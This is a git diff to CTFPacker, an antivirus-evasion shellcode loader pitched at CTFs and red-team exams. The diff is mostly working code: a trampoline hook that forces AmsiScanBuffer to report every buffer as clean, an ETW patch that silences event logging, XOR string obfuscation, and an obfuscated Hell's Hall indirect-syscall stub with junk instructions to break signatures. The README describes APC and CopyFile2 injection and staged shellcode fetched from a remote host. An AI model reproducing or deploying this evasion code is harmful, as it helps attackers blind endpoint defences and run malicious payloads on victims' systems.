PVOID pOriginalFunction, IN DWORD dwOldProtect) +{ + DWORD dwNewProtect = 0, + dwOldProtection = 0; + + // Setting the original function + memcpy(pHookedFunc, pOriginalFunction, TRAMPOLINE_SIZE); + + // Restoring the old protetion values + if (!VirtualProtect(pHookedFunc, TRAMPOLINE_SIZE, dwOldProtect, &dwNewProtect)) + { + DBG("Failed to restore memory protection: %lu", GetLastError()); + return FALSE; + } + + return TRUE; +} + + +// Function to just RET when a hooked function is called +VOID BlockExecutionFlow(PCONTEXT pCtx) +{ + // Altering execution flow by placing the instruction pointer to the RetStub + pCtx->Rip = (ULONG_PTR)&RetStub; +} + + +HRESULT WINAPI ProxyAmsi(HAMSICONTEXT ctx, PVOID buf, ULONG len, LPCWSTR name, HAMSISESSION sess, AMSI_RESULT *pRes) +{ + // Changing the return value + *pRes = AMSI_RESULT_CLEAN; + // returning SUCCESS code + return S_OK; +} + + +BOOL InstallTrampolines(BOOL bypassAmsi, BOOL bypassEtw) +{ + PVOID pOriginalEtwFunc = NULL, + pEtwpEventWriteFull = NULL, + pOriginalAmsiFunc = NULL; + + DWORD dwOldProtectAmsi = 0, + dwOldProtectEtw = 0; + + if (bypassEtw) { + HMODULE hNtdll = (HMODULE)GetModuleHandleH(#-NTDLL_VALUE-#); + + DBG("Fetching EtwpEventWriteFull.."); + + /* 1. EtwpEventWriteFull -- private, found via byte scan (original TrampoLatte) */ + GetEtwpEventWriteFull(&pEtwpEventWriteFull); + if (pEtwpEventWriteFull) { + if (!TrampolineX64(pEtwpEventWriteFull, RetStub, &pOriginalEtwFunc, &dwOldProtectEtw)) + { + DBG("Failed to trampoline EtwpEventWriteFull"); + } + else + { + DBG("EtwpEventWriteFull is now hooked at 0x%p", pEtwpEventWriteFull); + DBG("dwOldProtectEtw value: %lu", dwOldProtectEtw); + } + } else { + DBG("Could not locate EtwpEventWriteFull, skipping"); + } + + DBG("ETW hooking phase complete"); + } + + if (bypassAmsi) { + /* Force-load amsi.dll if not already present. + * String is built on the stack -- no static "amsi.dll" in the binary. */ + HMODULE hAmsi = (HMODULE)GetModuleHandleH(#-AMSI_VALUE-#); + if (!hAmsi) { + char amsi[] = { 'a'^0x5,'m'^0x5,'s'^0x5,'i'^0x5, + '.'^0x5,'d'^0x5,'l'^0x5,'l'^0x5, 0 }; + for (int i = 0; amsi[i]; i++) amsi[i] ^= 0x5; + hAmsi = LoadLibraryA(amsi); + } + if (!hAmsi) { + DBG("Failed to load AMSI.DLL"); + return FALSE; + } + + /* Resolve AmsiScanBuffer via API hashing -- no IAT entry */ + PVOID pAmsiScanBuff = (PVOID)GetProcAddressH(hAmsi, #-AMSISCANBUFFER_VALUE-#); + if (pAmsiScanBuff == NULL) { + DBG("Failed to get AmsiScanBuffer"); + return FALSE; + } + DBG("Found AmsiScanBuffer at 0x%p", pAmsiScanBuff); + + if (!TrampolineX64(pAmsiScanBuff, ProxyAmsi, (PVOID *)&g_pOriginalAmsiFunc, &dwOldProtectAmsi)) + { + DBG("Failed to trampoline AmsiScanBuffer"); + return FALSE; + } + DBG("AmsiScanBuffer is now hooked"); + DBG("dwOldProtectAmsi value: %lu", dwOldProtectAmsi); + } + + return TRUE; +} diff --git a/Linux/templates/stageless/trampoline.h b/Linux/templates/stageless/trampoline.h new file mode 100644 index 0000000..c62a90b --- /dev/null +++ b/Linux/templates/stageless/trampoline.h @@ -0,0 +1,16 @@ +#pragma once +#include + +/* + * trampoline.h + * + * AMSI & ETW bypass via x64 trampoline hooks. + * Adapted from TrampoLatté (github.com/MochaByte/TrampoLatte). + * + * InstallTrampolines + * bypassAmsi – hook AmsiScanBuffer -> always return AMSI_RESULT_CLEAN + * bypassEtw – hook EtwpEventWriteFull -> silent no-op return + * + * Returns TRUE on success (or when both flags are FALSE). + */ +BOOL InstallTrampolines(BOOL bypassAmsi, BOOL bypassEtw); diff --git a/Linux/templates/stageless/unhook.c b/Linux/templates/stageless/unhook.c index f24dd80..9622faa 100644 --- a/Linux/templates/stageless/unhook.c +++ b/Linux/templates/stageless/unhook.c @@ -89,7 +89,6 @@ LPVOID MapNtdll() { NTSTATUS status2 = pNtMapViewOfSection(hSection, NtCurrentProcess(), &pntdll, 0, 0, NULL, &ViewSize, 1, 0, PAGE_READONLY); if (!NT_SUCCESS(status2)) { //printf("[!] Failed in NtMapViewOfSection (%u)\n", GetLastError()); - getchar(); return NULL; } return pntdll; diff --git a/Linux/templates/stageless/whispers-asm.x64.asm b/Linux/templates/stageless/whispers-asm.x64.asm index fadce88..84e0e6f 100644 --- a/Linux/templates/stageless/whispers-asm.x64.asm +++ b/Linux/templates/stageless/whispers-asm.x64.asm @@ -1,123 +1,70 @@ -; =============================================================== -; NASM x64 version of your assembly. -; Save as "whispers-asm.nasm", for example. -; Assemble: nasm -f win64 whispers-asm.nasm -o whispers-asm.obj -; Link: x86_64-w64-mingw32-gcc main.c whispers-asm.obj -o myprogram.exe -; =============================================================== +bits 64 +default rel -bits 64 ; 64-bit code -default rel ; Use RIP-relative addressing by default +; XOR keys — values in .data are stored masked so plaintext never sits on disk +%define KEY_SSN 0xD3C97B2F +%define KEY_ADDR 0xD3C97B2FD3C97B2F +; --------------------------------------------------------------------------- +; .data — stored as (realValue ^ key); decoded at dispatch time +; --------------------------------------------------------------------------- +section .data + dwSSN dd 0 + qAddr dq 0 + +; --------------------------------------------------------------------------- +; .text +; --------------------------------------------------------------------------- section .text -; Export the labels so your C code can call them -global NTAVM -global NTPVM -global NTWVM -global NTQAT - -; Declare external symbols (the calls to these are in your code) -extern SW3_GetSyscallNumber -extern SW3_GetRandomSyscallAddress +; --------------------------------------------------------------------------- +; SetConfig(WORD wSSN [ecx], PVOID pSyscallInst [rdx]) +; XOR-masks both values before storing so .data never holds plaintext. +; --------------------------------------------------------------------------- +global SetConfig +SetConfig: + push rax + xor ecx, KEY_SSN ; mask SSN before store + mov dword [rel dwSSN], ecx + mov rax, KEY_ADDR ; mask address before store + xor rdx, rax + mov qword [rel qAddr], rdx + pop rax + ret ; --------------------------------------------------------------------------- -; NTAVM +; HellHall dispatch — four typed aliases, one body +; +; Obfuscation applied: +; • address decoded into r11 BEFORE eax is set (avoids rax clobber) +; • push r11 / ret replaces jmp [qAddr] — no indirect-jump byte pattern +; • junk ops interspersed to break byte-signature matching ; --------------------------------------------------------------------------- -NTAVM: - mov [rsp + 8], rcx ; Save registers - mov [rsp + 16], rdx - mov [rsp + 24], r8 - mov [rsp + 32], r9 +global HellHall_NtAVM +global HellHall_NtPVM +global HellHall_NtWVM +global HellHall_NtQAT - sub rsp, 0x28 - mov ecx, 0xC189CD1E ; Load function hash into ECX - call SW3_GetRandomSyscallAddress - mov r11, rax ; Save the address of the syscall - - mov ecx, 0xC189CD1E ; Re-load function hash (optional) - call SW3_GetSyscallNumber - - add rsp, 0x28 - mov rcx, [rsp + 8] ; Restore registers - mov rdx, [rsp + 16] - mov r8, [rsp + 24] - mov r9, [rsp + 32] - mov r10, rcx - jmp r11 ; Jump to -> Invoke system call +HellHall_NtAVM: +HellHall_NtPVM: +HellHall_NtWVM: +HellHall_NtQAT: + mov r10, rcx ; NT ABI: first arg → r10 + and r8d, r8d ; [junk] dead flag test on arg3 + mov r11, qword [rel qAddr] ; load masked address + mov rax, KEY_ADDR ; decode key (rax free — eax not set yet) + xor r11, rax ; r11 = real syscall instruction address + or r9d, r9d ; [junk] dead flag test on arg4 + mov eax, dword [rel dwSSN] ; load masked SSN + xor eax, KEY_SSN ; eax = real SSN + push r11 ; push target onto stack … + ret ; … ret pops it → no jmp pattern ; --------------------------------------------------------------------------- -; NTPVM +; RetStub — ETW trampoline bypass: returns STATUS_SUCCESS (RAX = 0) ; --------------------------------------------------------------------------- -NTPVM: - mov [rsp + 8], rcx - mov [rsp + 16], rdx - mov [rsp + 24], r8 - mov [rsp + 32], r9 - - sub rsp, 0x28 - mov ecx, 0x159D0313 ; Load function hash - call SW3_GetRandomSyscallAddress - mov r11, rax - - mov ecx, 0x159D0313 ; Re-load function hash - call SW3_GetSyscallNumber - - add rsp, 0x28 - mov rcx, [rsp + 8] - mov rdx, [rsp + 16] - mov r8, [rsp + 24] - mov r9, [rsp + 32] - mov r10, rcx - jmp r11 - -; --------------------------------------------------------------------------- -; NTWVM -; --------------------------------------------------------------------------- -NTWVM: - mov [rsp + 8], rcx - mov [rsp + 16], rdx - mov [rsp + 24], r8 - mov [rsp + 32], r9 - - sub rsp, 0x28 - mov ecx, 0x83179B97 ; Load function hash - call SW3_GetRandomSyscallAddress - mov r11, rax - - mov ecx, 0x83179B97 - call SW3_GetSyscallNumber - - add rsp, 0x28 - mov rcx, [rsp + 8] - mov rdx, [rsp + 16] - mov r8, [rsp + 24] - mov r9, [rsp + 32] - mov r10, rcx - jmp r11 - -; --------------------------------------------------------------------------- -; NTQAT -; --------------------------------------------------------------------------- -NTQAT: - mov [rsp + 8], rcx - mov [rsp + 16], rdx - mov [rsp + 24], r8 - mov [rsp + 32], r9 - - sub rsp, 0x28 - mov ecx, 0x88AE129F ; Load function hash - call SW3_GetRandomSyscallAddress - mov r11, rax - - mov ecx, 0x88AE129F - call SW3_GetSyscallNumber - - add rsp, 0x28 - mov rcx, [rsp + 8] - mov rdx, [rsp + 16] - mov r8, [rsp + 24] - mov r9, [rsp + 32] - mov r10, rcx - jmp r11 - -; End of file +global RetStub +RetStub: + neg rax ; [junk] overwritten by xor below + xor eax, eax + ret diff --git a/Linux/templates/stageless/whispers.c b/Linux/templates/stageless/whispers.c index 96c0ae6..cfd4e32 100644 --- a/Linux/templates/stageless/whispers.c +++ b/Linux/templates/stageless/whispers.c @@ -1,278 +1,6 @@ +/* + * whispers.c — SysWhispers3 replaced by Hell's Hall. + * This file is kept so the Makefile does not need changes. + * All syscall logic is in hellhall.c. + */ #include "whispers.h" -#include - -//#define DEBUG - -#define JUMPER - -#ifdef _M_IX86 - -EXTERN_C PVOID internal_cleancall_wow64_gate(VOID) { - return (PVOID)__readfsdword(0xC0); -} - -__declspec(naked) BOOL local_is_wow64(void) -{ - __asm { - mov eax, fs:[0xc0] - test eax, eax - jne wow64 - mov eax, 0 - ret - wow64: - mov eax, 1 - ret - } -} - - -#endif - -// Code below is adapted from @modexpblog. Read linked article for more details. -// https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams - -SW3_SYSCALL_LIST SW3_SyscallList; - -// SEARCH_AND_REPLACE -#ifdef SEARCH_AND_REPLACE -// THIS IS NOT DEFINED HERE; don't know if I'll add it in a future release -EXTERN void SearchAndReplace(unsigned char[], unsigned char[]); -#endif - -DWORD SW3_HashSyscall(PCSTR FunctionName) -{ - DWORD i = 0; - DWORD Hash = SW3_SEED; - - while (FunctionName[i]) - { - WORD PartialName = *(WORD*)((ULONG_PTR)FunctionName + i++); - Hash ^= PartialName + SW3_ROR8(Hash); - } - - return Hash; -} - -#ifndef JUMPER -PVOID SC_Address(PVOID NtApiAddress) -{ - return NULL; -} -#else -PVOID SC_Address(PVOID NtApiAddress) -{ - DWORD searchLimit = 512; - PVOID SyscallAddress; - - #ifdef _WIN64 - // If the process is 64-bit on a 64-bit OS, we need to search for syscall - BYTE syscall_code[] = { 0x0f, 0x05, 0xc3 }; - ULONG distance_to_syscall = 0x12; - #else - // If the process is 32-bit on a 32-bit OS, we need to search for sysenter - BYTE syscall_code[] = { 0x0f, 0x34, 0xc3 }; - ULONG distance_to_syscall = 0x0f; - #endif - - #ifdef _M_IX86 - // If the process is 32-bit on a 64-bit OS, we need to jump to WOW32Reserved - if (local_is_wow64()) - { - #ifdef DEBUG - printf("[+] Running 32-bit app on x64 (WOW64)\n"); - #endif - return NULL; - } - #endif - - // we don't really care if there is a 'jmp' between - // NtApiAddress and the 'syscall; ret' instructions - SyscallAddress = SW3_RVA2VA(PVOID, NtApiAddress, distance_to_syscall); - - if (!memcmp((PVOID)syscall_code, SyscallAddress, sizeof(syscall_code))) - { - // we can use the original code for this system call :) - #if defined(DEBUG) - printf("Found Syscall Opcodes at address 0x%p\n", SyscallAddress); - #endif - return SyscallAddress; - } - - // the 'syscall; ret' intructions have not been found, - // we will try to use one near it, similarly to HalosGate - - for (ULONG32 num_jumps = 1; num_jumps < searchLimit; num_jumps++) - { - // let's try with an Nt* API below our syscall - SyscallAddress = SW3_RVA2VA( - PVOID, - NtApiAddress, - distance_to_syscall + num_jumps * 0x20); - if (!memcmp((PVOID)syscall_code, SyscallAddress, sizeof(syscall_code))) - { - #if defined(DEBUG) - printf("Found Syscall Opcodes at address 0x%p\n", SyscallAddress); - #endif - return SyscallAddress; - } - - // let's try with an Nt* API above our syscall - SyscallAddress = SW3_RVA2VA( - PVOID, - NtApiAddress, - distance_to_syscall - num_jumps * 0x20); - if (!memcmp((PVOID)syscall_code, SyscallAddress, sizeof(syscall_code))) - { - #if defined(DEBUG) - printf("Found Syscall Opcodes at address 0x%p\n", SyscallAddress); - #endif - return SyscallAddress; - } - } - -#ifdef DEBUG - printf("Syscall Opcodes not found!\n"); -#endif - - return NULL; -} -#endif - - -BOOL SW3_PopulateSyscallList() -{ - // Return early if the list is already populated. - if (SW3_SyscallList.Count) return TRUE; - - #ifdef _WIN64 - PSW3_PEB Peb = (PSW3_PEB)__readgsqword(0x60); - #else - PSW3_PEB Peb = (PSW3_PEB)__readfsdword(0x30); - #endif - PSW3_PEB_LDR_DATA Ldr = Peb->Ldr; - PIMAGE_EXPORT_DIRECTORY ExportDirectory = NULL; - PVOID DllBase = NULL; - - // Get the DllBase address of NTDLL.dll. NTDLL is not guaranteed to be the second - // in the list, so it's safer to loop through the full list and find it. - PSW3_LDR_DATA_TABLE_ENTRY LdrEntry; - for (LdrEntry = (PSW3_LDR_DATA_TABLE_ENTRY)Ldr->Reserved2[1]; LdrEntry->DllBase != NULL; LdrEntry = (PSW3_LDR_DATA_TABLE_ENTRY)LdrEntry->Reserved1[0]) - { - DllBase = LdrEntry->DllBase; - PIMAGE_DOS_HEADER DosHeader = (PIMAGE_DOS_HEADER)DllBase; - PIMAGE_NT_HEADERS NtHeaders = SW3_RVA2VA(PIMAGE_NT_HEADERS, DllBase, DosHeader->e_lfanew); - PIMAGE_DATA_DIRECTORY DataDirectory = (PIMAGE_DATA_DIRECTORY)NtHeaders->OptionalHeader.DataDirectory; - DWORD VirtualAddress = DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress; - if (VirtualAddress == 0) continue; - - ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)SW3_RVA2VA(ULONG_PTR, DllBase, VirtualAddress); - - // If this is NTDLL.dll, exit loop. - PCHAR DllName = SW3_RVA2VA(PCHAR, DllBase, ExportDirectory->Name); - - if ((*(ULONG*)DllName | 0x20202020) != 0x6c64746e) continue; - if ((*(ULONG*)(DllName + 4) | 0x20202020) == 0x6c642e6c) break; - } - - if (!ExportDirectory) return FALSE; - - DWORD NumberOfNames = ExportDirectory->NumberOfNames; - PDWORD Functions = SW3_RVA2VA(PDWORD, DllBase, ExportDirectory->AddressOfFunctions); - PDWORD Names = SW3_RVA2VA(PDWORD, DllBase, ExportDirectory->AddressOfNames); - PWORD Ordinals = SW3_RVA2VA(PWORD, DllBase, ExportDirectory->AddressOfNameOrdinals); - - // Populate SW3_SyscallList with unsorted Zw* entries. - DWORD i = 0; - PSW3_SYSCALL_ENTRY Entries = SW3_SyscallList.Entries; - do - { - PCHAR FunctionName = SW3_RVA2VA(PCHAR, DllBase, Names[NumberOfNames - 1]); - - // Is this a system call? - if (*(USHORT*)FunctionName == 0x775a) - { - Entries[i].Hash = SW3_HashSyscall(FunctionName); - Entries[i].Address = Functions[Ordinals[NumberOfNames - 1]]; - Entries[i].SyscallAddress = SC_Address(SW3_RVA2VA(PVOID, DllBase, Entries[i].Address)); - - i++; - if (i == SW3_MAX_ENTRIES) break; - } - } while (--NumberOfNames); - - // Save total number of system calls found. - SW3_SyscallList.Count = i; - - // Sort the list by address in ascending order. - for (DWORD i = 0; i < SW3_SyscallList.Count - 1; i++) - { - for (DWORD j = 0; j < SW3_SyscallList.Count - i - 1; j++) - { - if (Entries[j].Address > Entries[j + 1].Address) - { - // Swap entries. - SW3_SYSCALL_ENTRY TempEntry; - - TempEntry.Hash = Entries[j].Hash; - TempEntry.Address = Entries[j].Address; - TempEntry.SyscallAddress = Entries[j].SyscallAddress; - - Entries[j].Hash = Entries[j + 1].Hash; - Entries[j].Address = Entries[j + 1].Address; - Entries[j].SyscallAddress = Entries[j + 1].SyscallAddress; - - Entries[j + 1].Hash = TempEntry.Hash; - Entries[j + 1].Address = TempEntry.Address; - Entries[j + 1].SyscallAddress = TempEntry.SyscallAddress; - } - } - } - - return TRUE; -} - -EXTERN_C DWORD SW3_GetSyscallNumber(DWORD FunctionHash) -{ - // Ensure SW3_SyscallList is populated. - if (!SW3_PopulateSyscallList()) return -1; - - for (DWORD i = 0; i < SW3_SyscallList.Count; i++) - { - if (FunctionHash == SW3_SyscallList.Entries[i].Hash) - { - return i; - } - } - - return -1; -} - -EXTERN_C PVOID SW3_GetSyscallAddress(DWORD FunctionHash) -{ - // Ensure SW3_SyscallList is populated. - if (!SW3_PopulateSyscallList()) return NULL; - - for (DWORD i = 0; i < SW3_SyscallList.Count; i++) - { - if (FunctionHash == SW3_SyscallList.Entries[i].Hash) - { - return SW3_SyscallList.Entries[i].SyscallAddress; - } - } - - return NULL; -} - -EXTERN_C PVOID SW3_GetRandomSyscallAddress(DWORD FunctionHash) -{ - // Ensure SW3_SyscallList is populated. - if (!SW3_PopulateSyscallList()) return NULL; - - DWORD index = ((DWORD) rand()) % SW3_SyscallList.Count; - - while (FunctionHash == SW3_SyscallList.Entries[index].Hash){ - // Spoofing the syscall return address - index = ((DWORD) rand()) % SW3_SyscallList.Count; - } - return SW3_SyscallList.Entries[index].SyscallAddress; -} diff --git a/Linux/templates/stageless/whispers.h b/Linux/templates/stageless/whispers.h index 82c24e8..25e506c 100644 --- a/Linux/templates/stageless/whispers.h +++ b/Linux/templates/stageless/whispers.h @@ -1,100 +1,5 @@ +/* + * whispers.h — shim; implementation replaced by Hell's Hall (hellhall.h/.c) + */ #pragma once - -// Code below is adapted from @modexpblog. Read linked article for more details. -// https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams - -#ifndef SW3_HEADER_H_ -#define SW3_HEADER_H_ - -#include - -#ifndef _NTDEF_ -typedef _Return_type_success_(return >= 0) LONG NTSTATUS; -typedef NTSTATUS* PNTSTATUS; -#endif - -#define SW3_SEED 0x51EBD349 -#define SW3_ROL8(v) (v << 8 | v >> 24) -#define SW3_ROR8(v) (v >> 8 | v << 24) -#define SW3_ROX8(v) ((SW3_SEED % 2) ? SW3_ROL8(v) : SW3_ROR8(v)) -#define SW3_MAX_ENTRIES 600 -#define SW3_RVA2VA(Type, DllBase, Rva) (Type)((ULONG_PTR) DllBase + Rva) - -// Typedefs are prefixed to avoid pollution. - -typedef struct _SW3_SYSCALL_ENTRY -{ - DWORD Hash; - DWORD Address; - PVOID SyscallAddress; -} SW3_SYSCALL_ENTRY, *PSW3_SYSCALL_ENTRY; - -typedef struct _SW3_SYSCALL_LIST -{ - DWORD Count; - SW3_SYSCALL_ENTRY Entries[SW3_MAX_ENTRIES]; -} SW3_SYSCALL_LIST, *PSW3_SYSCALL_LIST; - -typedef struct _SW3_PEB_LDR_DATA { - BYTE Reserved1[8]; - PVOID Reserved2[3]; - LIST_ENTRY InMemoryOrderModuleList; -} SW3_PEB_LDR_DATA, *PSW3_PEB_LDR_DATA; - -typedef struct _SW3_LDR_DATA_TABLE_ENTRY { - PVOID Reserved1[2]; - LIST_ENTRY InMemoryOrderLinks; - PVOID Reserved2[2]; - PVOID DllBase; -} SW3_LDR_DATA_TABLE_ENTRY, *PSW3_LDR_DATA_TABLE_ENTRY; - -typedef struct _SW3_PEB { - BYTE Reserved1[2]; - BYTE BeingDebugged; - BYTE Reserved2[1]; - PVOID Reserved3[2]; - PSW3_PEB_LDR_DATA Ldr; -} SW3_PEB, *PSW3_PEB; - -DWORD SW3_HashSyscall(PCSTR FunctionName); -BOOL SW3_PopulateSyscallList(); -EXTERN_C DWORD SW3_GetSyscallNumber(DWORD FunctionHash); -EXTERN_C PVOID SW3_GetSyscallAddress(DWORD FunctionHash); -EXTERN_C PVOID internal_cleancall_wow64_gate(VOID); -typedef VOID(KNORMAL_ROUTINE) ( - IN PVOID NormalContext, - IN PVOID SystemArgument1, - IN PVOID SystemArgument2); - -typedef KNORMAL_ROUTINE* PKNORMAL_ROUTINE; - -EXTERN_C NTSTATUS NTAVM( - IN HANDLE ProcessHandle, - IN OUT PVOID * BaseAddress, - IN ULONG ZeroBits, - IN OUT PSIZE_T RegionSize, - IN ULONG AllocationType, - IN ULONG Protect); - -EXTERN_C NTSTATUS NTPVM( - IN HANDLE ProcessHandle, - IN OUT PVOID * BaseAddress, - IN OUT PSIZE_T RegionSize, - IN ULONG NewProtect, - OUT PULONG OldProtect); - -EXTERN_C NTSTATUS NTWVM( - IN HANDLE ProcessHandle, - IN PVOID BaseAddress, - IN PVOID Buffer, - IN SIZE_T NumberOfBytesToWrite, - OUT PSIZE_T NumberOfBytesWritten OPTIONAL); - -EXTERN_C NTSTATUS NTQAT( - IN HANDLE ThreadHandle, - IN PKNORMAL_ROUTINE ApcRoutine, - IN PVOID ApcArgument1 OPTIONAL, - IN PVOID ApcArgument2 OPTIONAL, - IN PVOID ApcArgument3 OPTIONAL); - -#endif +#include "hellhall.h" diff --git a/README.md b/README.md index ee697cd..66e3623 100644 --- a/README.md +++ b/README.md @@ -1,17 +1,6 @@ # CTFPacker -``` - ▄████▄ ▄▄▄█████▓ █████▒██▓███ ▄▄▄ ▄████▄ ██ ▄█▀▓█████ ██▀███ -▒██▀ ▀█ ▓ ██▒ ▓▒▓██ ▒▓██░ ██▒▒████▄ ▒██▀ ▀█ ██▄█▒ ▓█ ▀ ▓██ ▒ ██▒ -▒▓█ ▄ ▒ ▓██░ ▒░▒████ ░▓██░ ██▓▒▒██ ▀█▄ ▒▓█ ▄ ▓███▄░ ▒███ ▓██ ░▄█ ▒ -▒▓▓▄ ▄██▒░ ▓██▓ ░ ░▓█▒ ░▒██▄█▓▒ ▒░██▄▄▄▄██ ▒▓▓▄ ▄██▒▓██ █▄ ▒▓█ ▄ ▒██▀▀█▄ -▒ ▓███▀ ░ ▒██▒ ░ ░▒█░ ▒██▒ ░ ░ ▓█ ▓██▒▒ ▓███▀ ░▒██▒ █▄░▒████▒░██▓ ▒██▒ -░ ░▒ ▒ ░ ▒ ░░ ▒ ░ ▒▓▒░ ░ ░ ▒▒ ▓▒█░░ ░▒ ▒ ░▒ ▒▒ ▓▒░░ ▒░ ░░ ▒▓ ░▒▓░ - ░ ▒ ░ ░ ░▒ ░ ▒ ▒▒ ░ ░ ▒ ░ ░▒ ▒░ ░ ░ ░ ░▒ ░ ▒░ -░ ░ ░ ░ ░░ ░ ▒ ░ ░ ░░ ░ ░ ░░ ░ -░ ░ ░ ░░ ░ ░ ░ ░ ░ ░ -░ ░ -``` +![CTFPacker](assets/Full-Logo-red-black.svg) > [!TIP] > Did CTFPacker help you with a penetration test engagement or in passing a certification exam? If so, please consider giving it a star ⭐! Your support would greatly help the project and motivate me to add more features or even rework it entirely into a much more capable packer! @@ -23,8 +12,8 @@ * [General Information](#general-information) * [Evasion Features](#evasion-features) * [Installation](#installation) - + [Makefile](#makefile) * [Usage](#usage) + + [GUI](#gui) + [Format option](#format-option) + [Staged](#staged) + [Stageless](#stageless) @@ -37,7 +26,7 @@ This repository has been created to facilitate AV evasion during CTFs and/or pentest & red team exams. The goal is to focus more on pwning rather than struggeling with evasion ! -Check out my blog post for more infos: [Evade Modern AVs in 2025](https://mochabyte.xyz/posts/Evade-Modern-AVs-in-2025/) +Check out my blog post for more infos: [Evade Modern AVs in 2025](https://mochabyte.xyz/2025/06/11/evade-modern-avs-in-2025/) ## General Information @@ -51,109 +40,39 @@ Check out my blog post for more infos: [Evade Modern AVs in 2025](https://mochab ## Evasion Features -- Indirect Syscalls via Syswhispers (rewrote in NASM compatible assembly) +- Indirect Syscalls via **Hell's Hall** (PEB walk + CRC32b hashing, obfuscated NASM stub with XOR encoding & junk ops) - API Hashing - NTDLL unhooking via Known DLLs technique - Custom GetProcAddr & GetModuleHandle functions - Custom AES-128-CBC mode encryption & decryption -- EarlyBird APC Injection -- Possiblity to choose between staged or stageless loader +- EarlyBird APC Injection or CopyFile2 progress callback execution +- Possibility to choose between staged or stageless loader - "Polymorphic" behavior with the `-s` argument +- Entropy reduction via embedded English text padding (`-er`) +- Optional HTTPS transport for staged payloads ## Installation -Depending on your OS, the installation will slightly differ. In general, make sure you have the following stuff installed: - -- CLANG compiler -- MinGW-w64 Toolchain -- Make - -If I am not mistaken, those are by default installed on KALI Linux. However, if you want to install them manually, this should do the trick: +Make sure you have the following dependencies installed first: ```bash -# Assuming Debian based system +# Assuming Debian based system (those are usually already on Kali) sudo apt update sudo apt install clang pipx mingw-w64 make lld nasm osslsigncode - -# Verify installation -clang --version -make --version - -# or -clang -v - -# If this is the case, refer to the chapter "Makefile" to replace the compiler in the Makefile of the templates ``` -It's a bit of a different story on Windows. You need to install the MinGW-w64 toolchain by installing MSYS2 first. +Then just run the install script: -```powershell -# Go there and install this -https://www.msys2.org/ - -# Then -pacman -Syu -pacman -S mingw-w64-x86_64-clang - -# Veryify installation -x86_64-w64-mingw32-clang --version - -# Install make -pacman -S make - -# Verify installation -make --version -``` - -You should also check under `C:\msys64\mingw64\bin`. This is a common place where the toolchain is being installed. - -After the basis installation, don't forget to install the python requirements ! Otherwise the packer will not work :D ! - -**Linux**: ```bash -# Via pipx (preferred way) cd CTFPacker -python3 -m pipx install . -# You can use ctfpacker globaly now +sudo bash install.sh -# Via manual virtual environment -cd CTFPacker -python3 -m venv env -source env/bin/activate -python3 -m pip install . - -# Once you're done using the tool -deactivate - -# Old fashion -cd CTFPacker -python3 -m pip install -r requirements.txt --break-system-packages -python3 main.py -h -``` -**Windows**: -```powershell -# Via pip -cd CTFPacker -python3 -m pip install . - -# Done ! :) +# To remove it +sudo bash uninstall.sh ``` -### Makefile +That's it ! This will install the python package via pipx, set up a `.desktop` launcher and copy the logo to `~/.local/share/icons/`. You can now use `ctfpacker` and `ctfpacker-gui` globally. -You should NOT modify the Makefile unless you know what you are doing ! BUT, there's one thing you should check BEFORE the python installation process. The first line of the Makefile indicates your compiler. Verify if the compiler matches with the one you installed earlier on your system. You can refer to the appropriate Makefile (windows / linux) in this repo. - -```makefile -# Verify this line -CLANG := clang -``` - -Replace it with the appropriate CLANG compiler - -```makefile -# Example -CLANG := x86_64-w64-mingw32-clang -``` ## Usage @@ -175,51 +94,77 @@ options: Staged: ``` -usage: main.py staged [-h] -p PAYLOAD [-f {EXE,DLL}] -i IP_ADDRESS -po PORT -pa PATH [-o OUTPUT] [-e] [-s] [-pfx PFX] [-pfx-pass PFX_PASSWORD] +usage: main.py staged [-h] -p PAYLOAD [-f {EXE,DLL}] [-apc {RuntimeBroker.exe,svchost.exe}] + [-inj {apc,copyfile2}] -i IP_ADDRESS -po PORT -pa PATH [-o OUTPUT] + [--https] [--user-agent USER_AGENT] [-e] [-s] [-er] + [-pfx PFX] [-pfx-pass PFX_PASSWORD] options: - -h, --help show this help message and exit + -h, --help show this help message and exit -p PAYLOAD, --payload PAYLOAD - Shellcode to be packed + Shellcode to be packed -f {EXE,DLL}, --format {EXE,DLL} - Format of the output file (default: EXE). + Format of the output file (default: EXE). + -apc {RuntimeBroker.exe,svchost.exe} + Target injection process (default: RuntimeBroker.exe). + -inj {apc,copyfile2}, --inject-method {apc,copyfile2} + Injection method: 'apc' for EarlyBird APC or 'copyfile2' for + CopyFile2 progress callback execution (default: apc). -i IP_ADDRESS, --ip-address IP_ADDRESS - IP address from where your shellcode is gonna be fetched. - -po PORT, --port PORT - Port from where the HTTP connection is gonna fetch your shellcode. - -pa PATH, --path PATH - Path from where your shellcode uis gonna be fetched. - -o OUTPUT, --output OUTPUT - Output path where the shellcode is gonna be saved. - -e, --encrypt Encrypt the shellcode via AES-128-CBC. - -s, --scramble Scramble the loader's functions and variables. - -pfx PFX, --pfx PFX Path to the PFX file for signing the loader. + IP address from where your shellcode is gonna be fetched. + -po PORT, --port PORT Port from where the HTTP connection is gonna fetch your shellcode. + -pa PATH, --path PATH Path from where your shellcode is gonna be fetched. + -o OUTPUT, --output OUTPUT Output path where the loader is gonna be saved. + --https Use HTTPS instead of HTTP for downloading the shellcode. + --user-agent USER_AGENT Custom User-Agent string for HTTP/HTTPS requests. + -e, --encrypt Encrypt the shellcode via AES-128-CBC. + -s, --scramble Scramble the loader's functions and variables. + -er, --entropy-reduction Reduce binary entropy by embedding English text padding. + -pfx PFX, --pfx PFX Path to the PFX file for signing the loader. -pfx-pass PFX_PASSWORD, --pfx-password PFX_PASSWORD - Password for the PFX file. + Password for the PFX file. -Example usage: python main.py staged -p shellcode.bin -i 192.168.1.150 -po 8080 -pa '/shellcode.bin' -o shellcode -e -s -pfx cert.pfx -pfx-pass 'password' +Example usage: python main.py staged -p shellcode.bin -i 192.168.1.150 -po 8080 -pa '/shellcode.bin' -o shellcode -inj apc -e -s --https -pfx cert.pfx -pfx-pass 'password' ``` Stageless: ``` -usage: main.py stageless [-h] -p PAYLOAD [-f {EXE,DLL}] [-e] [-s] [-pfx PFX] [-pfx-pass PFX_PASSWORD] +usage: main.py stageless [-h] -p PAYLOAD [-f {EXE,DLL}] [-apc {RuntimeBroker.exe,svchost.exe}] + [-inj {apc,copyfile2}] [-e] [-s] [-er] + [-pfx PFX] [-pfx-pass PFX_PASSWORD] 